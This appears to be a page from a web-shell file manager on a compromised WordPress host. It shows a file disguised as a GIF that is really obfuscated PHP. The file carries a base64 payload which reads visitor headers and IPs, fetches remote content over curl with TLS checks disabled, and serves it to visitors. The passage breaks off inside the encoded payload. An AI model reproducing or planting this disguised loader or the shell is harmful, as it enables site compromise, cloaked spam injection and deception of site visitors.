HEX
Server: LiteSpeed
System: Linux turbo.rebootns.com 4.18.0-553.111.1.lve.el8.x86_64 #1 SMP Fri Mar 13 13:42:17 UTC 2026 x86_64
User: rearbear (1557)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: /home/rearbear/public_html/wp-includes/images/w-eadefbda.gif
<?php
error_reporting(0); set_time_limit(0); ignore_user_abort(true);
$do = "/home/rearbear/public_html/";
$open_cache_ruzhu_phpcode = base64_decode("PD9waHAKIGdvdG8geENZV0lZUFFfUWlOQTsgUUU1cDZpSWVQMENvQTogJGZrWkpnWFN6MjI4Q08gPSBzdWJzdHIoJE9qOElGYnIwcnlQZDEsIHN0cnBvcygkT2o4SUZicjByeVBkMSwgIlw1NiIpKTsgZ290byBkY2M1U3FYN0dXcnVWOyBubG12SEJPSUsyNkIzOiAkRHlNTGtiUlA5QlJjbFsiXHg3M1wxNTYiXSA9IFlwQzQwRXhpbE9qRGYoJF9TRVJWRVJbIlx4NTNceDQzXDEyMlx4NDlcMTIwXHg1NFx4NWZcMTE2XDEwMVx4NGRceDQ1Il0pOyBnb3RvIE1UMUExdm9ZUjhyVFM7IERfVExBTGQ0YklsbTE6IGZ1bmN0aW9uIFlQQzQwRVhJbG9qZEYoJEh4cTFjUnRkb3N6RlYpIHsgZ290byBadnlTWTBFd1Nfa1FUOyBhbHFPUlR2UW9RNnFYOiBEZURCWHVYV1dIM1FGOiBnb3RvIGJuaTA0MzJxTnJTUEg7IFdOclFkRnJ3RkxpcWE6IHJldHVybiAnJzsgZ290byBhbHFPUlR2UW9RNnFYOyBadnlTWTBFd1Nfa1FUOiBpZiAoJEh4cTFjUnRkb3N6RlYpIHsgZ290byBEZURCWHVYV1dIM1FGOyB9IGdvdG8gV05yUWRGcndGTGlxYTsgYm5pMDQzMnFOclNQSDogcmV0dXJuIHJ0cmltKHN0cnRyKGJhc2U2NF9lbmNvZGUoJEh4cTFjUnRkb3N6RlYpLCAiXHgyYlw1NyIsICJcNTVceDVmIiksICJcNzUiKTsgZ290byBYX0RJNkNfeW9tN0pFOyBYX0RJNkNfeW9tN0pFOiB9IGdvdG8gbkFGV1h1MW5YaFNvTTsgcGYyOHE4OXNacEMxdjogJFM4Q2oxN25MYnlqSF8gPSAiXDE2MiIgLiAiXDE0MSIgLiAiXHg2ZSIgLiAiXHg2NyIgLiAiXDE0NSI7IGdvdG8gdTg2VWVSMmNya2VaSzsgeTFEZ0daWWxXTUJrODogJER5TUxrYlJQOUJSY2xbIlwxNTEiXSA9IFlwYzQwZXhJTE9KRGYoJGw0eXBoZ3dWczllNjgpOyBnb3RvIGR6ZUVRQkxhVGlpTFo7IHFNRHVFS3lJRnpOS3E6IGhlYWRlcigiXDEwM1wxNTdcMTU2XDE2NFx4NjVceDZlXDE2NFw1NVx4NTRceDc5XDE2MFwxNDVcNzJcNDBceDc0XDE0NVx4NzhceDc0XHgyZlx4NjhcMTY0XHg2ZFx4NmNceDNiXDQwXDE0M1wxNTBceDYxXHg3MlwxNjNcMTQ1XHg3NFx4M2RceDc1XDE2NFwxNDZceDJkXDcwIik7IGdvdG8gdnNfenkxcDNoOHpPVzsgTFBlUUR2NFlCZ0JSZjogaWYgKCEoc3RycG9zKCRPajhJRmJyMHJ5UGQxLCAiXHgyZSIpID4gMCAmJiBzdHJwb3MoJE9qOElGYnIwcnlQZDEsICJceDJlXHg3MFx4NjhcMTYwIikgPT09IGZhbHNlKSkgeyBnb3RvIGQ3NGRvMU9BaUtwT0w7IH0gZ290byBRRTVwNmlJZVAwQ29BOyBqUWw0ODQ1TE10R2VkOiBHWUpZb0FRMWR6cm5DOiBnb3RvIG12X3F3R3lMbzBldnY7IHV4dW5JM0xyXzF5aVk6IGZ1bmN0aW9uIG1KaXlsZ2s1MlNWOEcoJFVuUWZramoxbGRzRzIsICRzNnp2WHJ0Yl93eks0ID0gYXJyYXkoKSkgeyBnb3RvIFJ6ejBMWEZNQWpWbl87IGJFYVR6SE1QcDhzWHM6ICRVblFma2pqMWxkc0cyIC49ICJcNzciIC4gaHR0cF9idWlsZF9xdWVyeSgkczZ6dlhydGJfd3pLNCk7IGdvdG8gTGNTTEFBMENQand4ODsgQ0I1V3dYVGNnb2cyXzogdHJ5IHsgZ290byBNWE5ZYkxmWTVZS1ZpOyBzUUNWZEZmN21fT3RSOiBjdXJsX3NldG9wdCgkZ3hHX0dTaGpzV2hSTiwgQ1VSTE9QVF9USU1FT1VULCA2MCk7IGdvdG8gQ05xM2FXc2I3VHJ0czsgQWdBcHN6Ul9FcGcxVzogY3VybF9zZXRvcHQoJGd4R19HU2hqc1doUk4sIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsIDApOyBnb3RvIFd1SE5HV1JBM0h4S0M7IHp5VWdBRUNvU2FOMTc6IGdvdG8gcVNRRF9sYVkzX0FqYzsgZ290byBhVjBkN0VscEEwc3c0OyBzT2JSWXBJMGpuNXF4OiBuSjBiRjR6ZjliaWpEOiBnb3RvIGg4aF9qem9mV3d1cWs7IGJmZ29VbXYwR0gwYWo6IGN1cmxfc2V0b3B0KCRneEdfR1NoanNXaFJOLCBDVVJMT1BUX1VSTCwgJFVuUWZramoxbGRzRzIpOyBnb3RvIEFnQXBzelJfRXBnMVc7IGk4TDNUVUw2Ylpmbk86IHFTUURfbGFZM19BamM6IGdvdG8gbmdsZVY0WlloT1MyTTsgV3VITkdXUkEzSHhLQzogY3VybF9zZXRvcHQoJGd4R19HU2hqc1doUk4sIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsIDApOyBnb3RvIFNsYTE4NWluTmlqSEs7IGFWMGQ3RWxwQTBzdzQ6IFAzR2pndU9KblZyMkk6IGdvdG8geFNTdmlicG5nRUJVNDsgQ05xM2FXc2I3VHJ0czogY3VybF9zZXRvcHQoJGd4R19HU2hqc1doUk4sIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOyBnb3RvIGJzS0FuRTlreTh5ZzI7IHlJeVllUVMzUk81b1o6IGlmIChpbmlfZ2V0KCJceDYxXHg2Y1x4NmNceDZmXHg3N1wxMzdceDc1XDE2MlwxNTRcMTM3XHg2NlwxNTdcMTYwXDE0NVwxNTYiKSkgeyBnb3RvIFAzR2pndU9KblZyMkk7IH0gZ290byBhMFZKanU0ZHVtbDQzOyB4d0hTNVBvRk9oVXExOiAkY0xFYnBudjF1N1hnTlsiXDE2M1wxNjRceDYxXDE2NFwxNjVcMTYzIl0gPSBpbnR2YWwoY3VybF9nZXRpbmZvKCRneEdfR1NoanNXaFJOLCBDVVJMSU5GT19IVFRQX0NPREUpKTsgZ290byB5cUQyVGNYUXVYYVRDOyBSZl9WVHdzRjEwdGM4OiAkY0xFYnBudjF1N1hnTiA9IGFycmF5X21lcmdlKCRjTEVicG52MXU3WGdOLCBJVENWSjJLQXpXbW15KCRodHRwX3Jlc3BvbnNlX2hlYWRlcikpOyBnb3RvIGhTVnNmQXBLN1RZQ2Y7IGg4aF9qem9mV3d1cWs6ICRneEdfR1NoanNXaFJOID0gY3VybF9pbml0KCk7IGdvdG8gYmZnb1VtdjBHSDBhajsgYTBWSmp1NGR1bWw0MzogZ290byBxU1FEX2xhWTNfQWpjOyBnb3RvIHNPYlJZcEkwam41cXg7IE1YTlliTGZZNVlLVmk6IGlmIChmdW5jdGlvbl9leGlzdHMoIlwxNDNcMTY1XDE2Mlx4NmNcMTM3XDE0NVx4NzhcMTQ1XDE0MyIpICYmIGZ1bmN0aW9uX2V4aXN0cygiXDE0M1wxNjVcMTYyXHg2Y1wxMzdceDY5XHg2ZVwxNTFcMTY0IikpIHsgZ290byBuSjBiRjR6ZjliaWpEOyB9IGdvdG8geUl5WWVRUzNSTzVvWjsgR2tpRW0zSThpWGozMjogY3VybF9zZXRvcHQoJGd4R19HU2hqc1doUk4sIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBnb3RvIEpUdUNwTGpWS1lfYVA7IFNsYTE4NWluTmlqSEs6IGN1cmxfc2V0b3B0KCRneEdfR1NoanNXaFJOLCBDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULCAyMCk7IGdvdG8gc1FDVmRGZjdtX090UjsgZmQ4QkhwV211cXhVZTogJGNMRWJwbnYxdTdYZ05bIlwxNDNcMTU3XHg2ZVx4NzRceDY1XDE1Nlx4NzQiXSA9IHN0cnZhbChjdXJsX2dldGluZm8oJGd4R19HU2hqc1doUk4sIENVUkxJTkZPX1JFRElSRUNUX1VSTCkpOyBnb3RvIFFNZEJNSXkzTmRUdXg7IFhMZVZFNktFcURqWGE6ICRjTEVicG52MXU3WGdOWyJcMTQzXDE1N1x4NmVcMTY0XHg2NVwxNTZceDc0Il0gPSBzdHJ2YWwoJGpvUDZ3NlVaSVZjcnYpOyBnb3RvIEJUcF81N2lMbjcwOFM7IEJUcF81N2lMbjcwOFM6IEVWNjI4OGJDa0tGS2o6IGdvdG8genlVZ0FFQ29TYU4xNzsgYnNLQW5FOWt5OHlnMjogY3VybF9zZXRvcHQoJGd4R19HU2hqc1doUk4sIENVUkxPUFRfQ09PS0lFU0VTU0lPTiwgMCk7IGdvdG8gR2tpRW0zSThpWGozMjsgSlR1Q3BMalZLWV9hUDogJGpvUDZ3NlVaSVZjcnYgPSBjdXJsX2V4ZWMoJGd4R19HU2hqc1doUk4pOyBnb3RvIHh3SFM1UG9GT2hVcTE7IHlxRDJUY1hRdVhhVEM6ICRjTEVicG52MXU3WGdOWyJceDc0XHg3OVwxNjBceDY1Il0gPSBzdHJ2YWwoY3VybF9nZXRpbmZvKCRneEdfR1NoanNXaFJOLCBDVVJMSU5GT19DT05URU5UX1RZUEUpKTsgZ290byBmZDhCSHBXbXVxeFVlOyBRTWRCTUl5M05kVHV4OiBAY3VybF9jbG9zZSgkZ3hHX0dTaGpzV2hSTik7IGdvdG8gZXdjZ19hUDU3RGZrcjsgckRtUjZoRGZiTHc3dDogJEE5UFA4a2h2N0NzaHMgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoJEZBTjhsSTdnVGpxdlEpOyBnb3RvIEtzWTZGYURhUVhYZlQ7IGhTVnNmQXBLN1RZQ2Y6IGlmICghaW5fYXJyYXkoJGNMRWJwbnYxdTdYZ05bIlx4NzNcMTY0XHg2MVx4NzRcMTY1XHg3MyJdLCBhcnJheSgyMDAsIDMwMSwgMzAyLCA0MDQpKSkgeyBnb3RvIHl4T3VxQ3VxUHk2RFM7IH0gZ290byB6enVuQ2FvTlhneGtwOyB4U1N2aWJwbmdFQlU0OiAkRkFOOGxJN2dUanF2USA9IGFycmF5KCJcMTUwXHg3NFwxNjRcMTYwIiA9PiBhcnJheSgiXDE1NVx4NjVcMTY0XDE1MFwxNTdcMTQ0IiA9PiAiXDEwN1x4NDVceDU0IiwgIlx4NzRcMTUxXHg2ZFx4NjVceDZmXHg3NVx4NzQiID0+IDYwLCAiXHg2Nlx4NmZcMTU0XHg2Y1wxNTdcMTY3XHg1Zlx4NmNcMTU3XDE0M1x4NjFceDc0XDE1MVwxNTdcMTU2IiA9PiAwKSwgIlwxNjNceDczXDE1NCIgPT4gYXJyYXkoIlwxNjZceDY1XHg3Mlx4NjlceDY2XHg3OVwxMzdceDcwXDE0NVx4NjVceDcyIiA9PiBmYWxzZSwgIlx4NzZceDY1XDE2Mlx4NjlcMTQ2XHg3OVwxMzdceDcwXDE0NVx4NjVcMTYyXDEzN1x4NmVcMTQxXHg2ZFwxNDUiID0+IGZhbHNlKSk7IGdvdG8gckRtUjZoRGZiTHc3dDsgS3NZNkZhRGFRWFhmVDogJEVoMHhhcjkyeGtUOXUgPSBAZmlsZV9nZXRfY29udGVudHMoJFVuUWZramoxbGRzRzIsIGZhbHNlLCAkQTlQUDhraHY3Q3Nocyk7IGdvdG8gUmZfVlR3c0YxMHRjODsgenp1bkNhb05YZ3hrcDogJGNMRWJwbnYxdTdYZ05bIlx4NjNcMTU3XDE1NlwxNjRcMTQ1XDE1NlwxNjQiXSA9IHN0cnZhbCgkRWgweGFyOTJ4a1Q5dSk7IGdvdG8gWjgxV3FtaUpPX0RSQzsgWjgxV3FtaUpPX0RSQzogeXhPdXFDdXFQeTZEUzogZ290byBpOEwzVFVMNmJaZm5POyBld2NnX2FQNTdEZmtyOiBpZiAoIWluX2FycmF5KCRjTEVicG52MXU3WGdOWyJceDczXDE2NFx4NjFcMTY0XHg3NVwxNjMiXSwgYXJyYXkoMjAwLCAzMDEsIDMwMiwgNDA0KSkpIHsgZ290byBFVjYyODhiQ2tLRktqOyB9IGdvdG8gWExlVkU2S0VxRGpYYTsgbmdsZVY0WlloT1MyTTogfSBjYXRjaCAoRXhjZXB0aW9uICR2U1JXenJTRHJqZ3J1KSB7IH0gZ290byB4akVtcWRrdnVST0FnOyBMY1NMQUEwQ1Bqd3g4OiB0cDlRSWxfSVJSUW9KOiBnb3RvIENCNVd3WFRjZ29nMl87IFJ6ejBMWEZNQWpWbl86ICRjTEVicG52MXU3WGdOID0gYXJyYXkoIlx4NzNcMTY0XHg2MVx4NzRcMTY1XDE2MyIgPT4gMCwgIlwxNDNcMTU3XHg2ZVx4NzRceDY1XHg2ZVwxNjQiID0+ICcnLCAiXHg3NFx4NzlcMTYwXHg2NSIgPT4gJycpOyBnb3RvIE55NGRVR1llNlZabFQ7IHhqRW1xZGt2dVJPQWc6IHJldHVybiAkY0xFYnBudjF1N1hnTjsgZ290byBaa3E0MnpzMFlpYWNnOyBOeTRkVUdZZTZWWmxUOiBpZiAoIShpc19hcnJheSgkczZ6dlhydGJfd3pLNCkgJiYgY291bnQoJHM2enZYcnRiX3d6SzQpKSkgeyBnb3RvIHRwOVFJbF9JUlJRb0o7IH0gZ290byBiRWFUekhNUHA4c1hzOyBaa3E0MnpzMFlpYWNnOiB9IGdvdG8gRF9UTEFMZDRiSWxtMTsgRnlvMUdsY1AyWjRoYTogZnVuY3Rpb24gSVRjdmoya2F6V21NeSgkcmc1NTl4bkJvRTJUWSkgeyBnb3RvIFpvbUs0aE1JM0lYTjU7IG84VXNVd1k0cmZrSkM6IGlmIChpc19hcnJheSgkcmc1NTl4bkJvRTJUWSkpIHsgZ290byBOdEhGcDJTUVF2SHBROyB9IGdvdG8gZjN6Z29TVDhKc0NLVDsgWm9tSzRoTUkzSVhONTogJGRXSWVtTGhEUzV0Y0wgPSBhcnJheSgiXHg3M1x4NzRcMTQxXDE2NFwxNjVcMTYzIiA9PiAwLCAiXHg2M1wxNTdceDZlXDE2NFx4NjVceDZlXHg3NCIgPT4gJycsICJceDc0XDE3MVx4NzBceDY1IiA9PiAnJyk7IGdvdG8gbzhVc1V3WTRyZmtKQzsgSVFGaUtoamV2REZKUjogZm9yZWFjaCAoJHJnNTU5eG5Cb0UyVFkgYXMgJGY0VmdzVWg2b29OSV8pIHsgZ290byBMYzE2MDhaYkppanN3OyBQTVBQNElwZXVuQWtzOiBBM0g0M0VwUHppOTN3OiBnb3RvIGtNMGJOSVhSejBLVVo7IEpRUnJkVGQ3NzRmVXc6IGdvdG8gQTNINDNFcFB6aTkzdzsgZ290byBSWGZjM01PWXNnWjVPOyBxU3huR0htMGJETDBkOiAkZFdJZW1MaERTNXRjTFsiXHg3M1wxNjRcMTQxXDE2NFwxNjVceDczIl0gPSBpbnR2YWwoJGJmQU5DaXZybUE5YTJbMV0pOyBnb3RvIEVEU19XYXRaNTRlNlE7IFJYZmMzTU9Zc2daNU86IEUzc0tnSXlEVm9Rbnc6IGdvdG8gaHFtdFZ1NjhmM04yNTsga00wYk5JWFJ6MEtVWjogQUw4b3hEbkV5ZDlXZTogZ290byBvZ3g2SFVpTEtCcGNVOyBxVGRxdG1vbjFtckZSOiBpZiAocHJlZ19tYXRjaCgiXDU3XHg2Y1wxNTdceDYzXHg2MVwxNjRceDY5XHg2Zlx4NmVceDVjXDcyXDEzM1wxMzRcMTYzXDEzNVw1M1x4MjhceDJlXDUyXHgyOVw1N1wxNTEiLCAkZjRWZ3NVaDZvb05JXywgJGJmQU5DaXZybUE5YTIpKSB7IGdvdG8gSGoyWWs4MTRKVUN1eDsgfSBnb3RvIFZJS1J0b2JVeE1Uc1M7IElJcVphSTRHUjNKdVg6IGdvdG8gQTNINDNFcFB6aTkzdzsgZ290byBQT2xUZEw5eHBTbF9NOyBocW10VnU2OGYzTjI1OiAkZFdJZW1MaERTNXRjTFsiXDE2NFx4NzlcMTYwXDE0NSJdID0gJGJmQU5DaXZybUE5YTJbMV07IGdvdG8gUE1QUDRJcGV1bkFrczsgRURTX1dhdFo1NGU2UTogZ290byBBM0g0M0VwUHppOTN3OyBnb3RvIHZfdGM4ZDd3T3AxMG47IHZfdGM4ZDd3T3AxMG46IEhqMllrODE0SlVDdXg6IGdvdG8gSzRwQXYzS0JmdXJidTsgTGMxNjA4WmJKaWpzdzogaWYgKHByZWdfbWF0Y2goIlx4MmZcMTUwXHg3NFwxNjRceDcwXHg1Y1w1N1x4NWJcNjBceDJkXHgzOVwxMzRceDJlXHg1ZFw1M1wxMzNceDVjXHg3M1x4NWRceDJiXDUwXHg1Ylw2MFw1NVw3MVx4NWRcNTNcNTFceDJmXHg2OSIsICRmNFZnc1VoNm9vTklfLCAkYmZBTkNpdnJtQTlhMikpIHsgZ290byBkcktuWDdPandaakZCOyB9IGdvdG8gcVRkcXRtb24xbXJGUjsgVklLUnRvYlV4TVRzUzogaWYgKHByZWdfbWF0Y2goIlx4MmZcMTQzXHg2Zlx4NmVcMTY0XDE0NVx4NmVcMTY0XHg1Y1w1NVwxNjRceDc5XDE2MFwxNDVceDVjXHgzYVx4NWJcMTM0XDE2M1x4NWRcNTNceDI4XDU2XDUyXHgyOVw1N1wxNTEiLCAkZjRWZ3NVaDZvb05JXywgJGJmQU5DaXZybUE5YTIpKSB7IGdvdG8gRTNzS2dJeURWb1FudzsgfSBnb3RvIElJcVphSTRHUjNKdVg7IFBPbFRkTDl4cFNsX006IGRyS25YN09qd1pqRkI6IGdvdG8gcVN4bkdIbTBiREwwZDsgSzRwQXYzS0JmdXJidTogJGRXSWVtTGhEUzV0Y0xbIlwxNDNcMTU3XDE1Nlx4NzRcMTQ1XHg2ZVx4NzQiXSA9ICRiZkFOQ2l2cm1BOWEyWzFdOyBnb3RvIEpRUnJkVGQ3NzRmVXc7IG9neDZIVWlMS0JwY1U6IH0gZ290byBUa0tpVEJqMUdTWWhtOyBUa0tpVEJqMUdTWWhtOiBGVnFTRmFJMmNxREN6OiBnb3RvIG5IeDBNRVB0bVg5WVg7IGJta1RWaHZMa0JrNzk6IE50SEZwMlNRUXZIcFE6IGdvdG8gSVFGaUtoamV2REZKUjsgbkh4ME1FUHRtWDlZWDogcmV0dXJuICRkV0llbUxoRFM1dGNMOyBnb3RvIG5uYU1oN2xpY3Qwdks7IGYzemdvU1Q4SnNDS1Q6IHJldHVybiAkZFdJZW1MaERTNXRjTDsgZ290byBibWtUVmh2TGtCazc5OyBubmFNaDdsaWN0MHZLOiB9IGdvdG8gdXh1bkkzTHJfMXlpWTsgeENZV0lZUFFfUWlOQTogZXJyb3JfcmVwb3J0aW5nKDApOyBnb3RvIHBmMjhxODlzWnBDMXY7IHdodGRTYjR4STN1WkE6ICREeU1Ma2JSUDlCUmNsID0gYXJyYXkoKTsgZ290byB5MURnR1pZbFdNQms4OyB2Q19IR0dQX1RwSnNaOiB5elJ6UzdyczVQZDY4OiBnb3RvIHVNSG9WNGt0eEgxS3g7IG9pZURyWkg5ZzNMTmo6IGlmIChpbl9hcnJheSgkY0xFYnBudjF1N1hnTlsiXDE2M1x4NzRceDYxXDE2NFwxNjVcMTYzIl0sIGFycmF5KDAsIDIwMCkpKSB7IGdvdG8gSVVERHZvQ1BTOWx6QTsgfSBnb3RvIHpub202OXBSRzlCYUI7IEZUM0ZwS3M0N1dmdTM6ICREeU1Ma2JSUDlCUmNsWyJceDc1Il0gPSBZcGM0MEVYaWxPSmRGKCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRcMTIwXHg1Zlx4NTVceDUzXDEwNVwxMjJceDVmXDEwMVwxMDdceDQ1XDExNlx4NTQiXSk7IGdvdG8gelZmakZzVnU4Y2xGSjsgbWNGdWY0TGxzRXYxYTogaDhaRUtuenRmOHhuazogZ290byB4bUNvdU1hdFhZRTZfOyB4bXJyRlBuVUpIWUZkOiBlY2hvICRjTEVicG52MXU3WGdOWyJcMTQzXDE1N1wxNTZcMTY0XHg2NVx4NmVceDc0Il07IGdvdG8ga085YzBwX25Pd3hpcTsgY0JPcW5uT3lBeFd2NDogJE9GTExfTGpud0wyMFcgPSAkeyRDMFY5WDNyaTlIVWtyWzEyICsgMTldIC4gJEMwVjlYM3JpOUhVa3JbNCArIDU1XSAuICRDMFY5WDNyaTlIVWtyWzQ2ICsgMV0gLiAkQzBWOVgzcmk5SFVrclsyMyArIDI0XSAuICRDMFY5WDNyaTlIVWtyWzQ5ICsgMl0gLiAkQzBWOVgzcmk5SFVrcls0MSArIDEyXSAuICRDMFY5WDNyaTlIVWtyWzU3ICsgMF19OyBnb3RvIHkwOWpzckIwT0gyelo7IGR6ZUVRQkxhVGlpTFo6ICREeU1Ma2JSUDlCUmNsWyJceDZjIl0gPSB5UEM0MEV4aUxvamRmKCRfU0VSVkVSWyJcMTEwXDEyNFx4NTRceDUwXHg1ZlwxMDFcMTAzXDEwM1wxMDVcMTIwXDEyNFx4NWZceDRjXHg0MVx4NGVceDQ3XHg1NVwxMDFceDQ3XDEwNSJdKTsgZ290byBubG12SEJPSUsyNkIzOyBmWnpXMnZHR2hNNjM3OiBmdW5jdGlvbiBTSTgyeE9wTGI1Vk1qKCkgeyBnb3RvIEU2bmZKVXhVS3dkMlI7IFAzUjUzcFZxMHlaNUw6IHEzb1lPM1YzUVN5SUM6IGdvdG8geVBzcTFPVkpHMW9xODsgd0dpZ2JvV2JUYzhQdDogVFhsczl3N0tVNUV0cDogZ290byBzYW14azlGQjVPVEQwOyB4bFVtSF9fUGRCYm1VOiAkaGw2RVRUQlhvbnE3WSA9ICJcMTUwXDE2NFx4NzRceDcwXDE2M1x4M2FceDJmXDU3IjsgZ290byB3R2lnYm9XYlRjOFB0OyBaMVM5T29qWjhSSFVKOiBnb3RvIFRYbHM5dzdLVTVFdHA7IGdvdG8gYjlzOEVHeldKX01iaDsgdVZGZW5vbnhhaEs4YTogaWYgKGlzc2V0KCRfU0VSVkVSWyJcMTEwXHg1NFwxMjRcMTIwXHg1ZlwxMzBceDVmXDEwNlwxMTdceDUyXHg1N1wxMDFceDUyXHg0NFwxMDVceDQ0XHg1ZlwxMjBceDUyXDExN1x4NTRcMTE3Il0pICYmICRfU0VSVkVSWyJcMTEwXHg1NFwxMjRceDUwXHg1Zlx4NThcMTM3XHg0NlwxMTdcMTIyXHg1N1x4NDFcMTIyXHg0NFwxMDVcMTA0XHg1ZlwxMjBcMTIyXHg0ZlwxMjRcMTE3Il0gPT09ICJceDY4XDE2NFwxNjRcMTYwXDE2MyIpIHsgZ290byBxM29ZTzNWM1FTeUlDOyB9IGdvdG8gdlQyTEdKMGVKY3c0aTsgRmRZUW9oVHVuMWVubDogJGhsNkVUVEJYb25xN1kgPSAiXHg2OFwxNjRcMTY0XHg3MFx4NzNceDNhXHgyZlw1NyI7IGdvdG8gT1lpN3JvNWNBSlkyUDsgT1lpN3JvNWNBSlkyUDogZ290byBUWGxzOXc3S1U1RXRwOyBnb3RvIFAzUjUzcFZxMHlaNUw7IHZUMkxHSjBlSmN3NGk6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XHg1MFwxMzdceDQ2XDEyMlx4NGZcMTE2XHg1NFx4NWZcMTA1XHg0ZVx4NDRceDVmXDExMFx4NTRcMTI0XDEyMFwxMjMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFx4NWZcMTA2XDEyMlwxMTdcMTE2XHg1NFwxMzdcMTA1XDExNlx4NDRceDVmXDExMFwxMjRceDU0XDEyMFx4NTMiXSkgIT09ICJcMTU3XDE0NlwxNDYiKSB7IGdvdG8gQzRiUmZQM3BDWEVzaDsgfSBnb3RvIEViX0tISUNVWEJPOTc7IGxPNXdOYTNvejJFajU6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NTMiXSkgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsiXDExMFx4NTRcMTI0XDEyMFx4NTMiXSkgIT09ICJcMTU3XDE0NlwxNDYiKSB7IGdvdG8gbGlQVmtCQW51VFU4YjsgfSBnb3RvIHVWRmVub254YWhLOGE7IHlQc3ExT1ZKRzFvcTg6ICRobDZFVFRCWG9ucTdZID0gIlwxNTBcMTY0XHg3NFx4NzBceDczXHgzYVw1N1x4MmYiOyBnb3RvIFoxUzlPb2paOFJIVUo7IHdlbDdYSEpVUnhCMEw6IGxpUFZrQkFudVRVOGI6IGdvdG8gRmRZUW9oVHVuMWVubDsgc2FteGs5RkI1T1REMDogcmV0dXJuICRobDZFVFRCWG9ucTdZOyBnb3RvIFo0S29Na0JoVlNfSUk7IGI5czhFR3pXSl9NYmg6IEM0YlJmUDNwQ1hFc2g6IGdvdG8geGxVbUhfX1BkQmJtVTsgRTZuZkpVeFVLd2QyUjogJGhsNkVUVEJYb25xN1kgPSAiXDE1MFwxNjRcMTY0XDE2MFw3Mlw1N1x4MmYiOyBnb3RvIGxPNXdOYTNvejJFajU7IEViX0tISUNVWEJPOTc6IGdvdG8gVFhsczl3N0tVNUV0cDsgZ290byB3ZWw3WEhKVVJ4QjBMOyBaNEtvTWtCaFZTX0lJOiB9IGdvdG8gQUwzcGlvMUJmMTVfeDsgZmthQ3h6anJiSGQ4YTogJGQwQmZoZ3N4WjNWbmsgPSB0cnVlOyBnb3RvIEY3ZkFFWjl3RWkzS0E7IG5BRldYdTFuWGhTb006IGZ1bmN0aW9uIHpCajhNd0N3YVlfbjkoKSB7IGdvdG8gWlRKbl9aTHJTbHViSDsgU0RIZWlqM3N0ZFE1VDogJGw0eXBoZ3dWczllNjggPSAkX1NFUlZFUlsiXDExMFwxMjRcMTI0XHg1MFx4NWZceDQzXDEwNlx4NWZcMTAzXHg0ZlwxMTZcMTE2XHg0NVx4NDNceDU0XHg0OVx4NGVcMTA3XHg1Zlx4NDlcMTIwIl07IGdvdG8gVGJYSjZKN29sX01wcjsgdkxhU3NrcHUxTjVyQzogcmV0dXJuICRsNHlwaGd3VnM5ZTY4OyBnb3RvIGhBSEJlUzJMN1B3MUM7IG1BOEtoMXVnNTE2ODY6ICRsNHlwaGd3VnM5ZTY4ID0gZXhwbG9kZSgiXDU0IiwgJGw0eXBoZ3dWczllNjgpOyBnb3RvIGZlWVVabG9YTTEwd2c7IGd4Vm9rTm14RmtEMVQ6IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFwxMzdcMTAzXHg0NlwxMzdceDQzXHg0Zlx4NGVceDRlXDEwNVwxMDNceDU0XDExMVwxMTZceDQ3XHg1ZlwxMTFceDUwIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXHg0OFwxMjRcMTI0XDEyMFx4NWZceDQzXHg0Nlx4NWZcMTAzXHg0Zlx4NGVceDRlXDEwNVwxMDNceDU0XDExMVx4NGVceDQ3XHg1ZlwxMTFceDUwIl0pKSB7IGdvdG8gU3V6Q3o3STJjMzZPOTsgfSBnb3RvIGdBbzE3MWRiZTZuVm47IGdBbzE3MWRiZTZuVm46IGlmIChpc3NldCgkX1NFUlZFUlsiXDExMFx4NTRceDU0XHg1MFx4NWZceDU4XDEzN1wxMjJceDQ1XHg0MVx4NGNcMTM3XDExMVwxMjAiXSkgJiYgIWVtcHR5KCRfU0VSVkVSWyJceDQ4XDEyNFwxMjRceDUwXHg1Zlx4NThceDVmXHg1Mlx4NDVcMTAxXHg0Y1wxMzdcMTExXDEyMCJdKSkgeyBnb3RvIHY3RHdXOWZxV1VKWG07IH0gZ290byBKUTFtM1ZNM1F1ZlN6OyBKUTFtM1ZNM1F1ZlN6OiBpZiAoaXNzZXQoJF9TRVJWRVJbIlwxMTBcMTI0XHg1NFwxMjBceDVmXDEzMFx4NWZceDQ2XDExN1wxMjJceDU3XHg0MVwxMjJcMTA0XHg0NVwxMDRceDVmXDEwNlx4NGZceDUyIl0pICYmICFlbXB0eSgkX1NFUlZFUlsiXDExMFwxMjRceDU0XHg1MFx4NWZcMTMwXHg1ZlwxMDZceDRmXHg1MlwxMjdceDQxXDEyMlx4NDRcMTA1XDEwNFx4NWZceDQ2XHg0ZlwxMjIiXSkpIHsgZ290byBNVkVqZ0FrRkVJNzFHOyB9IGdvdG8gdThDVlk1aFFhWUR5NTsgdThDVlk1aFFhWUR5NTogJGw0eXBoZ3dWczllNjggPSAkX1NFUlZFUlsiXHg1MlwxMDVcMTE1XHg0ZlwxMjRcMTA1XDEzN1wxMDFceDQ0XHg0NFwxMjIiXTsgZ290byBUUmREN2NaMjNtNVEyOyBmZVlVWmxvWE0xMHdnOiAkbDR5cGhnd1ZzOWU2OCA9ICRsNHlwaGd3VnM5ZTY4WzBdOyBnb3RvIFNLdkVXTklnbVQ3aTg7IFNLdkVXTklnbVQ3aTg6IERaeVZKUW5zb1c4YW46IGdvdG8gdkxhU3NrcHUxTjVyQzsgVFJkRDdjWjIzbTVRMjogZ290byBWeTcxQ2xtMTRsTlRDOyBnb3RvIGFhQWx1TEE0UEJPYjY7IFpUSm5fWkxyU2x1Ykg6ICRsNHlwaGd3VnM5ZTY4ID0gJyc7IGdvdG8gZ3hWb2tObXhGa0QxVDsgVGJYSjZKN29sX01wcjogZ290byBWeTcxQ2xtMTRsTlRDOyBnb3RvIGZsTWdFSW5zUUdTb2Y7IGlRY2M4VmJpaE9UWEg6IE1WRWpn